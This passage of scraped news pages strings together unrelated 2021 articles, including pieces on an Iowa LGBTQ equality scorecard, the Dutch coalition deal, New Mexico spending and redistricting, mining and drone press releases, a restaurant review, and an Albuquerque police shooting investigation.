all received a perfect 100, while Davenport scored a 98, Cedar Rapids scored 97, Des Moines got 96, Ames had 94 points and Sioux City scored 79. The Municipal Equality Index is a good indicator of how much a given city supports their LGBTQ+ residents, said Courtney Reyes, executive director of One Iowa, which works to advance LGBTQ rights in the state. Adopting common sense policies like making single occupancy facilities all-gender, and having an LGBTQ+ liaison in the city executives office, demonstrates to LGBTQ+ people in those communities that they are welcome. Waterloo did well in some areas, including nondiscrimination in city employment as well as having a fully staffed human rights commission that enforces nondiscrimination laws, said Abraham Funchess, the executive director of the Waterloo Commission on Human Rights. We have certainly fought cases on behalf of the LGBTQ community, so we feel good about that, Funchess said. The city also scored well on nondiscrimination in housing and public accommodations, having a LGBTQ police liaison and reporting hate crime statistics to the FBI. Where the city fell short, according to the scorecard, was in not having transgender-inclusive healthcare benefits, not having a nondiscrimination ordinance for city contractors, not having a LGBTQ liaison in the citys executive office and not enough of a public position on LGBTQ equality or advocating for equality legislatively. Funchess disagreed with at least one of the scores: Waterloo did pass a resolution against conversion therapy, but HRC didnt count it as they wanted a stronger ordinance with enforcement penalties. This is not a federal mandate. This is not a state requirement. It just serves as a guide, Funchess said. One could probably question, to some degree, why theyre so particular about some of those components. Nonetheless, Funchess said hes hopeful the city council can take up some of the HRCs suggestions for a better score in the future. He noted his commission was already working with Dubuque on a racial equity toolkit, and noted that citys perfect HRC score might offer a model for Waterloo. We want to continue to work with HRC just to make sure that were doing everything we can to be inclusive all the way around, and I think that will develop in time, he said. 5 months for $5 Get 5 months of a Courier digital subscription for just $5 at https://go.wcfcourier.com/nov5 Love 2 Funny 1 Wow 0 Sad 0 Angry 1 Get Government & Politics updates in your inbox! Stay up-to-date on the latest in local and national government and political topics with our newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. THE HAGUE, Netherlands (AP) The leaders of four political parties set to join forces in the next Dutch ruling coalition put the finishing touches Wednesday to a policy blueprint for the next parliamentary term, signaling the beginning of the end of a drawn-out process to form a new government. The parties, led by caretaker Prime Minister Mark Rutte's conservative People's Party for Freedom and Democracy, planned to unveil their plans in the early afternoon. Rutte, who has led three coalitions, will take charge of his fourth, and he's set to become the Netherlands' longest serving leader despite narrowly surviving a no-confidence motion in parliament in April. His fourth Cabinet will be made up of the same parties as his third. Rutte's party is joined by the pro-European D66, the center-right Christian Democratic Appeal and centrist Christian Union. Together, they command a narrow majority in the 150-seat lower house of Dutch parliament, but are in the minority in the upper house. Ruttes previous administration resigned in January to take political responsibility for a scandal involving the countrys tax department wrongly labelling as fraudsters thousands of parents claiming child benefits. That and other political scandals in recent years have eroded public confidence in the Dutch government. Rebuilding trust in his administration will be one of Rutte's key tasks as he embarks on a new term in office next year. Following a parliamentary debate on the coalition accord, Rutte is expected to be appointed to oversee the allocation of Cabinet portfolios. That process will likely last until early next year when the new government can be formally installed. The presentation of the deal comes just under nine months after the country's March 17 general election, making the coalition talks the longest in Dutch history. But they were still well short of the record set in neighboring Belgium. In December 2011, Belgium cobbled together a government after 541 days of negotiations. Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 DES MOINES Gov. Kim Reynolds has rejected five applications by prison inmates serving life terms seeking to have their sentences commuted to a period of years, making them potentially eligible for release. Members of the Iowa Board of Parole had unanimously recommended that the governor consider granting the requests from prison lifers Gary Bear, Otis Jenkins, Clyde Johnson, Jerry Osborn and Denise Rhode. However, the governor did not approve the extraordinary remedy. The most recent was Reynolds decision this month to deny commutation for Rhode, who is serving a life term at the Iowa Correctional Institution for Women in Mitchellville. She was convicted in the 1989 death of her nephew, Matthew, whom she was babysitting with her own three children in Norwalk. At her Sept. 2 commutation hearing, Rhode said it took her years to accept the truth, but she has changed a lot during her incarceration and believed she could be a productive person if released. In her Dec. 8 denial of Rhodes application, the governor said it remains unclear whether you have truly accepted responsibility for your actions given the discrepancy in how you described what happened on your application and the version of events you eventually told the board during your interview. Commutation a form of clemency in which a governor converts a mandatory life sentence into a fixed-length term with a possibility of parole is rare in Iowa, with governors reducing the legal penalty for only 40 people in the last 52 years. Most of the commutations cut mandatory life sentences to fixed-length terms with a possibility of parole. The most recent case was in 2013 when former Gov. Terry Branstad commuted the life prison term of Rasberry Williams, who was convicted of first-degree murder in a 1974 shooting outside a Waterloo pool hall and paroled in 2014. Love 0 Funny 0 Wow 0 Sad 1 Angry 0 Love yourself some ramen, tempura, and spicy tuna rolls? Us too, but you won't find them on the menu at Nisei, the debut restaurant for chef David Yoshimura, who is honoring his Japanese-American heritage with a 12-course menu inspired by Japanese home cooking. The Houston-born chef, who hails from the fine dining kitchens of New York's WD~50 and San Francisco's Californios, dove deep into Washoku cuisine during his stage at Tokyo's three-Michlin-starred restaurant Kagurazaka Ishikawa. At Nisei, he presents a Japanese culinary experience that's new to San Franciscans, one that focuses on the balance of flavors and seasonal ingredients. As you part the noren (a Japanese curtain) hanging in the black doorway, you enter a large, mostly black minimalist space kept awake by white banquettes, gold and red accents, and colorful paintings by local artist Maya Fuji. This theme of spare yet bold sets the tone for the chef's Californian-Washoku tasting menu ($184), in which the carefully crafted courses are all petite and uncomplicated but bursting with flavor. A scallop with pine nut miso, turnip, and upland cress. (Courtesy of Nisei) Each course balances tradition with a modern twist and killer presentation. A croquette with Santa Barbara uni, for example, is served in a traditional masu cup, with smoked pepper relish. A mini dorayaki (similar to a pancake) is filled with banana cream and topped with caviar. The Japanese black curry comes with sweetbread and chanterelle mushrooms, while black truffle is shaved over pumpkin chawanmushi. On our visit, a trio of desserts included Okinawa sweet potato with black sesame sable and strawberry, and a mochi donut with chestnut milk and cremeux. Since the place is literally run by sommeliersYoshimura, GMs Ian Cobb (Californios, Atelier Crenn) and Mayanka Somiah (Quince, Californios), and bar manager Ilya Romanov (Niku Steakhouse, Bergerac) are all certified sommsyou can expect an equally expert wine program. The pairing (for an additional $105) proves that Japanese food can match seamlessly with a barolo, a gruner veltliner, or even a pinot noir. At Iris, the Faithful Fool combines calvados, yuzu sake, and green apple. (@equal_parts_cocktail) If you're more into cocktails, Nisei comes with a surprise: the perfectly laid-back, adjacent bar, Iris. Dressed in midcentury modern furnishings, the lounge has a sleekdare we say sexyvibe, and it's here that Romanov's mixology skills shine in playful and inventive Japanese-inspired drinks. You'll probably want to imbibe your way through the menu of six signature concoctions, including the refreshing Faithful Fool (calvados, yuzu sake, and green apple), the creamy and tropical Okinawa (rum, Okinawa yam, oat milk, and plum) and, our personal favorite, the Linda Linda (clarified milk punch with floral undertones). The hand-cut ice cubes are crystal clear and the straws are metal, adding to the cool factor. Iris also serves a small selection if izakaya-style bites including karaage chicken, black curry smoked eel, and Hog Island Oysters. There is also a selection of Japanese whiskies and stylish parklet. Who's up for dinner and drinks? // Nisei, 2316 Polk St. (Russian Hill), restaurantnisei.com Terry Vine/Getty Images En espanol | Sometimes, its easier to just ask. Thats why AARP has a dedicated, toll-free family caregiving line for people taking care of a loved one. Our agents cant provide specific advice to callers, but they can suggest resources on a variety of topics, including: Agents are available to take calls Monday-Friday, 7 a.m. to 11 p.m. ET at 1-877-333-5885. The support line is also available in Spanish, at 1-888-971-2013. They can also provide referrals to the governments Eldercare Locator, state and federal agencies serving caregivers and older Americans, the Alzheimers Association and the Parkinsons Foundation. AARP also has an online caregiving community where caregivers can join, for free, to talk with other caregivers and get answers from experts in the community. Facebook users can visit the AARP Family Caregivers Discussion Group to connect, share stories and get answers to caregiving questions. You dont have to be an AARP member to call the support line or join the online communities. Were here to help. Editor's note: This article, originally created in 2018, has been updated with 2019 information. Courtesy Shoshana Johnson PTSD can appear years later Data shows, yes, their military experience and any traumatic experiences life-threatening experiences, combat experiences and deployment those are all major factors. But, they dont really tell the whole story about what culminates and accrues to their suffering and potential disability later on in their life, said Christine Moutier, chief medical officer of the American Foundation for Suicide Prevention. PTSD symptoms can start soon after an event but in some cases the effects may not appear until months or years later. They can even come and go over the years. Between 11 and 20 percent of veterans who served in Iraq or Afghanistan have PTSD in a given year, according to the Department of Veterans Affairs (VA). Within two months, Johnson was diagnosed with PTSD and began treatment, which she has continued to this day. Thorne-Henderson, her aunt, observed that Johnson and others with PTSD know something is wrong, but they struggle to put their finger on it because symptoms often go unnoticed. You dont realize as youre trying to go forward, whats going to trigger a memory in your head. It could be a smell, a sound, seeing a picture, its a lot of different things, Johnson said. Being with other veterans with whom she can go back to the basics of what we did together is what Johnson said helps her deal with the symptoms of PTSD. For a lot of veterans, it cant be done by yourself. If you could, you would [have] already done it, said Johnson. Seeking help doesnt make you less. It makes you stronger because you know that you have weaknesses and how to build upon yourself to grow bigger. If you or someone you know is experiencing symptoms of PTSD, review of free resources offering treatment options for military veterans. This is the third episode from AARP Studios new documentary series Reporting for Duty. Each month you can expect a new inspirational story about veterans and military families at YouTube.com/aarp. Aaron Kassraie writes about issues important to military veterans and their families for AARP. He also serves as a general assignment reporter. Kassraie previously covered U.S. foreign policy as a correspondent for the Kuwait News Agencys Washington bureau and worked in news gathering for USA Today and Al Jazeera English. Getty Images En espanol Workers in half of the nation will earn more money in the new year thanks to an increase in the minimum wage. Thats good news for older workers, because research has found that hikes in the minimum wage help them stay in the workforce longer, leading to improved finances in retirement. Twenty-nine states and the District of Columbia have minimum wages higher than the $7.25 per hour required by federal law for non-tipped workers. Virginia will see the largest increase in 2022, boosting its minimum wage by $1.50 per hour after previously scheduled increases were delayed due to revenue losses experienced by businesses and the state during the pandemic. Delaware is raising its rate by $1.25 per hour. And six states California, Connecticut, Florida, Illinois, New Jersey and New Mexico are raising their minimum wage by $1 per hour. According to data from the U.S. Bureau of Labor Statistics, roughly 20 percent of workers who earn their states minimum wage are age 45 or older. One study by researchers from the University of Northern Iowa and the U.S. Census Bureau found that people who received minimum wage increases between ages 62 and 70 delayed claiming Social Security retirement benefits by an average of six months. DroneShield receives first of its kind exemption by ACMA Sydney, Dec 15, 2021 AEST (ABN Newswire) - DroneShield Limited ( ASX:DRO ) ( FRA:DRH ) ( OTCMKTS:DRSHF ) is pleased to advise that the Australian Communications and Media Authority (ACMA), the Australian Federal Government agency regulator of the communications spectrum nationally, has granted DroneShield the first exemption permit of its kind to undertake advanced testing of the Company's Electronic Warfare and counterdrone portfolio in Australia. The exemption has appropriate safeguards in place to balance the need to develop and test advanced technologies in Australia, while maintaining restrictions around impact on the broader community.The exemption has been granted under the Radiocommunications (Exemption) Determination 2021, passed as law by the ACMA earlier this year, to enable development of advanced electronic warfare technologies for use by authorised Government agencies in Australia and for approved exports.DroneShield CEO, Oleg Vornik, commented, "This change in law and the resulting permit, demonstrate the rapid responsiveness of the Australian Federal Government and ACMA, who have been appreciative of rapid change of the technological landscape in modern warfare and counter-terrorism. The Government agencies understood the resulting need for legislative amendments, and were fast moving in the implementation, despite current challenging times.This permit substantially accelerates the development and optimisation of advanced Artificial Intelligence-powered electronic warfare and counter-terrorism technologies here in Australia, and we are excited to rapidly move forward in undertaking the work, at DroneShield and University of Technology Sydney (UTS) facilities.I'm particularly excited at the direct increase this decision will mean for domestic advanced manufacturing jobs and the acceleration it means for DroneShield's technology base as part of Australia's Sovereign Defence Industry Capability."While no specific revenue guidance is associated with this exemption, it is expected to have a material positive impact on DroneShield financials, and the Company will keep the market updated as appropriate.About DroneShield Ltd DroneShield Ltd (ASX:DRO) (OTCMKTS:DRSHF) is an Australian publicly listed company with its head office in Sydney and teams in the US and UK. We specialise in RF sensing, Artificial Intelligence and Machine Learning, Sensor Fusion, Electronic Warfare, Rapid Prototyping and MIL-SPEC manufacturing. Our capabilities are used to protect Military, Government, Law Enforcement, Critical Infrastructure, Commercial and VIPs throughout the world. Through our team of primarily Australian based engineers - we offer customers bespoke solutions and off-the-shelf products designed to suit a variety of terrestrial, maritime or airborne platforms. DroneShield is proudly exporting Australian capability to customers throughout the world and supporting Australia's defence, national security and other organisations protect people, critical infrastructure and vital assets. . Mt Stirling Update Hydra Discovery Primary Gold Confirmed Perth, Dec 15, 2021 AEST (ABN Newswire) - Torian Resources Limited ( ASX:TNR ) is pleased to announce progress of a 17,500m drilling campaign (RC and AV combined) at the Mt Stirling Gold Project. Drilling includes a planned combined 12,500m RC to test:o High priority targets at Tyrannus (awaiting results);o Hydra (preliminary assays received);o Estera (high grade Au assays received);o Stirling Well extension;o Mt Stirling / Viserion extension, ando Skywing gold targets.An additional ~5,000m of AV drilling is also advancing and will continue to vector and expand the footprint of high-ranked regional Au; As; multi-element and structural targets across the project.In addition to proving up recent discoveries, a key priority of this campaign will be to upgrade the confidence level of an increased amount of the Mt Stirling-Viserion Resource to ??Indicated??, and to potentially add additional ounces by extending the strike and selective depth of the gold system.Approximately 40% of the planned meters will target the shallow portion of the Mt Stirling-Viserion gold deposit to be drill defined to JORC Indicated category (~880m strike x ~125m depth) from surface 425m down to 300mRL. The Company anticipates that this is likely to increase the global Project Au grade, expand the Resource base and provide valuable data and confidence to a 2022 Q1 Optimisation Study.Drilling of shallow up-dip Mt Stirling and Viserion extensions, continues this week, with preliminary results expected before Christmas.The Company is aiming for an updated global MRE for the Mt Stirling Gold Project at the end of Q1 2022. (Subject to drilling efficiency and lab timelines). In addition to the results from this next round of drilling, the MRE will include previously announced results that were not included in the May 2021 MRE.In an effort to expedite the drilling programme the Company has secured the services of three drilling contractors who will be drilling throughout this coming January.The Company has also secured the services of Minecomp to conduct a pit optimisation study, as it takes another step towards assessing the economics and unlocking value from the Mt Stirling / Viserion gold system.Torian's Executive Director Mr Peretz Schapiro said "We are pleased with the technical success of our first pass RC program at Hydra as we continue to develop and prove up our high priority targets at the Mt Stirling Gold Project.Our drilling program has made fantastic progress to date, with the procurement of additional rigs to put us ahead of schedule. We continue to be pleased by the efficiency of our drill program and turnaround time on assays from the lab.I encourage shareholders and the wider investment community to attend our investor webinar later today to hear our exploration program discussed at length, in addition to having the opportunity to directly ask questions to management.Hydra RC Drill UpdateFive of the 12 RC drill holes for 575m, have been drilled that tested the interpreted NW target strike zone, with highly encouraging results:o 2m @ 2.60 g/t Au from 106m (MSRC128);inc 1m @ 3.20 g/t Au from 107m (end of hole)Primary gold is associated within a quartz-feldspar porphyry unit, with the interpreted high-grade footwall contact yet to be fully tested.Gold mineralisation dispersion is also present up-dip and along strike with:o 5m @ 0.56 g/t Au from 84m (MSRC127);inc 1m @ 0.89 g/t Au from 85mo 4m @ 0.51 g/t Au from 96m (MSRC129);inc 1m @ 0.86 g/t Au from 86mResults are from the central and northwest prospect area, with the remaining central and southeast areas to be drill tested once RC rig completes Tyrannus.- A ~1km strike of favourable and prospective structure remains untested between Mt stirling-Viserion and Hydra, with Hydra SE planned RC to vector towards MS-Viserion on favourable results There is also the potential for sub-parallel mineralised structural links on either flank of the Viserion Shear Zone.The gold target trend at Hydra has been conceptualised from limited AV and historical gold data, with further systematic assaying of AV drill data likely to expand the target zones for future drill phases.Encouraging signs at Hydra are the increased wider footprint of the Au target zone, and better widths intercepted in comparison to historical mineralisation.Skywing DiscoveryThe re-interpretation of Mt Stirling Central Zone to flat easterly dipping lode(s) has resulted in 24 pierce points over ~450m strike defining the newly discovered "Skywing" lodes(s). These pierce points have been obtained from existing drilling, which has brought into play most intercepts which were outside of the previous MS MRE of May 2021.Skywing lode(s) vary from 1-2m true width and provide an immediate prospective shallow open-pittable interpreted extents (~800m x 220m; from surface). This will be drill tested with 40x40m drill spacing towards the Wonambi Shear with ~3,550m of RC drilling planned; with the first phase of 1800m going towards testing the mineralised model in order to commit to a 2nd phase of drilling which will complete the program.Of significant interest at Skywing, is that Au grades increase in grade towards the east on every section. (Other than supergene enrichment close to surface on western extents of interpreted shallow easterly dipping flat lodes). It is highly unusual that the Skywing lode(s) exhibit such Au homogeneity and increasing grades towards the Wonambi Shear.Although modest ounces, modelled Au grade, increasing with depth and easterly appreciation could multiply scale potential. Any increase in width will also have this effect.Skywing also demonstrates potential for repeated flat lodes; alike to the Stirling Well stacked lode model, in addition to prospective spaced-out occurrences that further drilling will seek to unveil.Detailed logging will also confirm saprolitic v primary gold and provide sufficient data for interpreted modelling.Given shallow nature of the mineralisation and planned drilling, assay results from Skywing are anticipated to fast-track the prospect???? inclusion into the optimisation study.Tyrannus Maiden RC planned drillingTyrannus drilling has advanced with 11 drill holes completed for 890m drilled.Encouraging zones of interpreted mineralisation have been intercepted, with little to no oxide through the south-east of the prospect, and considerable oxide and shearing intercepted in the central prospect area on the Ursus Fault itself.Preliminary assays (MSRC131 through to MSRC141) are expected within 2 weeks.Drilling will resume on the remainder of planned program in early January, to test the 14 interpreted target zones.Several structural orientations are present at Tyrannus, with linking structures likely to also have some controlling influence on gold mineralisation dispersion. Drill orientation will commence targeting sub-vertical NE dipping interpreted lodes which will also be able to identify flat-dipping orientations that may shallowly or sub-vertically dip towards the Ursus Fault.A second phase will likely target NE striking mineralisation associated with NE shearing, with further exploration to target possible NNW striking SW-dipping interpreted mineralisation adjoining or originating from the Ursus Fault.Tyrannus targets are structurally significant with some situated on an inflection and splay junction of the Wonambi Shear termination onto Ursus Fault, ~400m east of the Mt Stirling gold mineralisation, and are highly likely to merge onto and along strike of the Mt Stirling SE mineralised Au lode positions.There are 14 >0.10 g/t Au target zones with 7 > 1.00 g/t Au zones to be tested during the upcoming RC drilling. Further systematic gold assays from the recent AV drilling will aid positioning of planned drilling, and likely provide further target zones.Diorite Drilling UpdateA total of 6 holes (DIRC030-35) have so far been drilled at Unexpected Estera Lode (for 669m), with three extensional holes (DIRC032-34) completed to extend strike of mineralisation SE and NW.A single hole has also been completed (DIRC035) targeting high-grade zone downdip continuity, with encouraging signs that system continues at depth. Trace pyrrhotite has been identified, providing vectoring geophysical potential to mineralisation.Assays from DIRC033 returned 3m @ 9.46 g/t Au from 37m (DIRC033), inc 1m @ 25.46 g/t Au from 37m, extending Estera HG strike to the south-east as modelled.Assays from DIRC032 has returned an anomalous comp of 4m @ 0.70 g/t Au from 32m. Single meter samples from this comp are now at the laboratory awaiting results.The Company is very encouraged with these results and the rapidity of assay turnaround time. Torian is also fast-tracking follow-up drilling, having secured three rigs throughout January 2022.Mineralisation is associated with dolerite and quartz/carbonate veining, trace to minor sulphides (mainly pyrite) with moderate chloritic to weak biotite alteration, and fuchsitic, silicified to weakly bleached.Further RC drilling is planned at the prospect to vector on strike extensions and down-dip continuity of high-grade gold.Mt Stirling Regional UpdateRegional exploration from Mt Stirling Central has generated multiple arsenic anomalies from systematic surface pXRF surveys, which continue to provide a strong pipeline of regional targets.Exploration has also delineated priority Stirling Well West structural targets with coinciding surface pXRF arsenic anomalism. The Company has identified these targets to warrant AV/RC drill testing.*To view tables and figures, please visit:About Torian Resources Limited Torian Resources Ltd (ASX:TNR) is a gold exploration and development company with an extensive and strategic land holding comprising eight projects and over 400km2 of tenure in the Goldfields Region of Western Australia. Torian's flagship project, Zuleika, is located along the world-class Zuleika Shear. The Zuleika Shear is the fourth largest gold producing region in Australia and consistently produces some of the country's highest grade and lowest cost gold mines. Torian's Zuleika project lies north and partly along strike of several major gold deposits including Northern Star's (ASX:NST) 7.0Moz East Kundana Joint Venture and Evolutions (ASX:EVN) 1.8Moz Frogs Legs and White Foil deposits. Torian's other projects include the strategically located Mt Stirling and Malcolm Projects in the Leonora region (near Red 5's King of the Hills Project), where it recently completed updated Mineral Resource Estimates and preliminary scoping studies, and a suite of other projects in the Kalgoorlie region including Credo Well JV Zuleika JV, Bonnie Vale, Gibraltar and Mount Monger/Wombola. During a time when many of us are thinking about traditional holiday foods, celebratory treats and trying to not eat too much, it is important to think about those for whom food insecurity is a regular struggle. In 2019, Feeding America estimated that rates of food insecurity in the U.S. were about 11% overall and almost 15% for children; the rates for subsequent years during the pandemic are still being calculated but are already showing huge increases. In New Mexico, however, those rates are even worse. Overall, food insecurity is just over 14%, while the rate in children is 22%. Almost one in four children in our state does not have access to adequate and healthy nutrition. The U.S. Department of Agriculture recently updated the definition of food insecurity to be labeled in terms of food security. Food security is better if a family has adequate access to enough and a variety of quality food, and low if they have inadequate access or experience hunger. Food security can be a great source of stress for a family but the impact of inadequate access to nutritious foods has a greater impact on children. Kids brains and bodies are developing at rapid rates and are disproportionately impacted by the lack of proper nutrition. Studies have shown that hunger and inadequate nutrition negatively affects a childs ability to focus in school, impacts self-esteem and may even impair overall health. The National Scientific Council on the Developing Child states that the structural foundation for cognitive functioning is laid in early childhood, creating the underlying circuitry on which more complex processes are built. This foundation can be greatly affected by food insecurity. Inadequate nutrition can permanently alter a childs brain architecture and stunt their intellectual capacity, affecting the childs learning, social interaction, and productivity. Children who do not receive what they need for strong, healthy brain development during early childhood may never recover their lost potential for cognitive growth and eventual contributions to society. We simply cannot afford for our children to live without the nutrients they so richly deserve. There are many individuals, organizations and federal programs working to end hunger and fight for food security. Albuquerque Public Schools has programs in place to provide no-cost breakfast and lunch to qualifying students. APS also has 106 schools that have been designated as Community Eligibility Provision schools where all students may receive free breakfast and lunch. Additionally, many schools provide an after-school meal program and send students home with weekend snack packs. The city of Albuquerque has a Supper Meals program which provides a warm meal for kids to enjoy after school and over the winter break. These meals are automatically provided to registered participants in Community Center programs and are also available for free to any child ages one to eighteen. Please see the CABQ.gov website for more information on how to access this program. There are also free meals distributed during the summer across the state; please see summerfoodnm.org for more information. Our state and federal government have implemented programs to improve access to better nutrition through the Supplemental Nutritional Assistance Program (SNAP) and the Special Supplemental Nutritional Program for Women, Infants, and Children (WIC). Additionally, the Child Tax Credit has recently been expanded and shown to be an important benefit to struggling families. These government programs provide support based on a familys income with respect to the federal poverty level and benefit a familys health and lower poverty rates. Unfortunately, this level of support does not change with respect to cost of living. Therefore, a familys income might be just above the cutoff to be considered for support through a governmental program but they live in an area with a high cost of living. Foods with lower nutritional values are often less expensive than higher quality foods, and many families have reported having to choose buying medications over food. Thankfully, there are also entities that support individuals and families with food resources that do not rely on their reported income. One of these amazing entities is the Roadrunner Food Bank of New Mexico. It is the states largest food bank which not only provides food items, but partners with community organizations to provide health screenings, nutrition education, clothing assistance and more. Please consider supporting state and federal programs aimed at improving food security. That gift can have a huge impact and help create a positive trajectory for our kids. Melissa Mason is a general pediatrician with Journey Pediatrics in Albuquerque. Please send your questions to melissaemason@gmail.com. Copyright 2021 Albuquerque Journal SANTA FE New Mexico roads, airports and State Parks could be on the verge of getting a big funding infusion, as the state Senate voted decisively Tuesday to approve a plan to earmark $478 million in federal relief dollars. While some senators argued the spending package was not transformative enough and gives too much spending discretion to state agencies, it would leave roughly $724 million in federal funds to be spent during next years 30-day legislative session. We need to act like grown-ups and spend money rationally, Sen. Pat Woods, R-Broadview, said during Tuesdays discussion. After more than an hour of debate, the Senate voted 36-4 to approve the spending package, House Bill 2, which now goes back to the House since it was amended in the Senate. The House approved the bill on Friday via a 65-1 vote. Sen. Joseph Cervantes, D-Las Cruces, one of the four senators who cast no votes Tuesday, said the spending proposal was hurriedly put together after Gov. Michelle Lujan Grisham added the issue to the agenda of the ongoing special session focused on redistricting. He also said lawmakers could wait until next month to advance a more sweeping plan to spend the roughly $1.1 billion in unspent money the state received under the federal American Rescue Plan Act. Im not really sure were doing it in the best way we can, Cervantes said. I ask my colleagues, is this really the best we can do? Another Democratic senator, Gerald Ortiz y Pino of Albuquerque, also described the spending package as a missed opportunity, citing a separate plan to use some of the federal stimulus funds to build a new college of public health at the University of New Mexico that was thwarted by an influential Senate budget panel. Theres nothing really in here thats going to put New Mexico on a different course, added Ortiz y Pino, who still voted in favor of the measure. However, other senators described the spending plan as a shovel-ready package of one-time projects. Among other projects, the bill approved Tuesday would earmark $50 million for construction of a new acute care hospital, likely in Valencia County. Previous attempts to build a hospital in that county have run aground in recent years. I think this is a very transformative bill, said Sen. Jeff Steinborn, a Las Cruces Democrat. Funds were subject of fall legal dispute The federal pandemic relief funds were the subject of a legal dispute this fall between a bipartisan group of legislators and Lujan Grishams office. The Supreme Court ultimately sided with the lawmakers in the case, ruling Lujan Grisham could not spend the money without legislative approval. That prompted the Democratic governor to add spending of the funds to the special sessions agenda. With the state also sitting on a revenue windfall due largely to a surge in oil production and prices, several legislators said they have lobbied frequently in recent weeks and months about different ways to spend the abundance of money. Under the plan endorsed Tuesday, $142.5 million would be earmarked for nine different road repair projects around New Mexico including improvements to Interstate 25 in northeast Albuquerque and State Highway 128 between Carlsbad and Jal. In addition, the plan calls for $123 million to be spent on broadband expansion efforts, including using satellites to improve connectivity. Legislators also approved $133 million for broadband expansion during this years 60-day legislative session and created a new state office to coordinate efforts. I feel very strongly were moving in the right direction in terms of addressing gaps in broadband connectivity, said Sen. Michael Padilla, D-Albuquerque. Meanwhile, other expenditures would include $15 million for a tourism marketing campaign, $2 million to help aspiring teachers cover schooling costs and $20 million for upgrades at State Parks around New Mexico. Once the House and Senate sign off on the same version of the plan, it would go to Lujan Grisham for final approval. The governor could then sign the bill in its entirety, veto it or use her line-item veto authority to ax specific spending provisions. Standoff on map proposal continues The vote on the spending package came as senators were still working Tuesday to break a logjam caused by competing political forces on the subject of redrawing the boundary lines of the 42-member chamber. The once-per-decade task of redistricting is the focus of the special session that began Dec. 6 and is now stretching into its second week. While the House and Senate have already signed off on a plan to redraw the boundaries for New Mexicos three congressional districts for the next decade, the Senate redistricting plan has become mired in political quicksand after a Senate panel voted against a map reflecting a delicate consensus among more than 20 tribes. Wilfred Herrera, the chairman of the All Pueblo Council of Governors, said in a letter Tuesday to Senate Democratic floor leader Peter Wirth of Santa Fe that pueblo governors remain steadfast in their belief the Senate should honor the tribal agreement. Senate support for the map will also express support for Native American languages, culture and land a way of life that cannot be compromised by the political process, Herrera said in his letter. It was unclear Tuesday when the Senate would vote on a final map. Members of the House, who have already approved their own redistricting plan, are not planning to return to the Roundhouse until Thursday. TUCSON, Ariz. A man who prompted a nationwide manhunt after escaping custody with his wife in 2019 reached a plea agreement Tuesday in a Tucson murder case. Prosecutors said 58-year-old Blane Barksdale pleaded guilty to second-degree murder in the death of Frank Bligh and is facing up to 22 years in prison. Barksdale has a sentencing status conference Jan. 10 in Pima County Superior Court. His 61-year-old wife, Susan Barksdale, pleaded guilty to manslaughter last month and could get between 7 and 21 years in prison when shes sentenced Jan. 14. The couple was charged in connection with the disappearance of 72-year-old Frank Bligh, whose Tucson home burned down in an April 2019 explosion and fire. Brent Mallard, the Barksdales nephew, has pleaded guilty to arson in the case and could get up to 12 years in prison when hes sentenced Jan. 28, according to prosecutors. Blighs body has never been found, but Tucson police classified it as a homicide case. Authorities obtained arrest warrants after discovering the Barksdales allegedly pawned guns that belonged to Bligh before they fled Arizona. The couple was arrested in New York by U.S. Marshals in May 2019, but escaped from a transport van during extradition to Tucson three months later. After avoiding capture for 16 days, the Barksdales were located in northern Arizona and taken back into custody. Copyright 2021 Albuquerque Journal SANTA FE State Sen. Jacob Candelaria who has clashed with his chambers Democratic leadership for months is set to lose his spot on the powerful Senate Finance Committee. A recommendation heading to the full Senate would strip him of the assignment and replace him with Democrat Michael Padilla of Albuquerque. The move comes as Candelaria has intensified his criticism of high-ranking Democrats in the Senate. He also has clashed with Democratic Gov. Michelle Lujan Grisham. Candelaria, who represents part of southwestern Albuquerque, began this months special session by announcing he had changed his party affiliation from Democrat to decline to state, the category for independents. In an interview Tuesday, he said he is happy to participate in the new committees he will serve on, focusing on education and public affairs. But removal from Senate Finance, he said, is obvious retaliation. I knew there would be a price to pay for my independence, Candelaria said. My integrity matters more than any committee assignment ever will. Senate President Pro Tem Mimi Stewart, an Albuquerque Democrat and frequent target of Candelarias criticism, proposed the committee changes Tuesday. They would go into effect Jan. 1, ahead of the regular 30-day session. I think Sen. Candelaria has made it clear that hes no longer a Democrat, Stewart told reporters. Hes not been in our caucus since April. This is an important committee, and we need to have team players on that committee. The Senate committee in charge of committee assignments adopted Stewarts recommendations, and they now go to the full chamber. Senate Minority Whip Craig Brandt, R-Rio Rancho, was the lone dissenting vote. Candelaria resigned as chairman of the Senate Democratic caucus in 2018 and stopped participating in caucus meetings this year. He wasnt at the Capitol on Tuesday and was also absent earlier this week. Candelaria has been excused because of a scheduling conflict involving his legal work, and he is not able to debate or cast votes remotely due to a Senate rule adopted for the special session. Over the last year, he has repeatedly slammed Stewart for her handling of a personnel investigation involving a staff member, and he accused a Cabinet secretary under Lujan Grisham of filing a defamatory ethics complaint against him. More broadly, he has accused white progressive legislators of using Black, Indigenous and people of color for political purposes while discriminating against them. The committee change for Candelaria was one of many recommended to the Senate. The recommendations would also reshuffle a variety of vice chair assignments. Copyright 2021 Albuquerque Journal One night in early March, an Albuquerque Police Department officer pulled over a man he said had nearly crashed into him in a 1995 Dodge van. The traffic stop concluded with the officer Isaac Aragon firing five times at the van as it sped away, injuring 56-year-old William Bill Grant in the back. An internal affairs investigation recommended Aragon be terminated from the department for violating use-of-force policies. Instead, he resigned. The 250-page report detailing the investigation was released to the Journal in response to an Inspection of Public Records Act request. At a briefing on the incident in late March, APD officials said Aragon told detectives that he saw the driver lean forward and reach toward his waistline and that, as the driver sat up, he had a black firearm and pivots his body toward the drivers side door. Officer Aragon stated he was afraid he was going to get shot, said Hollie Anderson, acting lieutenant of the Violent Crimes Section. However, the Internal Affairs investigation found that Aragon failed to announce the presence of a firearm to the other officers and, when he was specifically asked on the radio if a firearm was seen, he said there was no gun and shots had not been fired at the officers. He said he couldnt see what the driver was reaching for. A memo from an Internal Affairs investigator to Police Chief Harold Medina states that a reasonable likelihood of a criminal prosecution exists against Officer Aragon. A spokeswoman for the 2nd Judicial District Attorneys Office said prosecutors received the case on Aug. 25 and are still reviewing it. The DAs office contracts special prosecutors on a part-time basis to review police shootings. Aragon, who had been with APD since 2018 and had not been involved in any other shootings, did not respond to an interview request through a union attorney. Neither Grant nor his girlfriend could be reached for comment. Several rounds fired Shortly before 10 p.m. on March 7, Aragon pulled over a driver later identified as Grant because he said he had been driving erratically and tried to 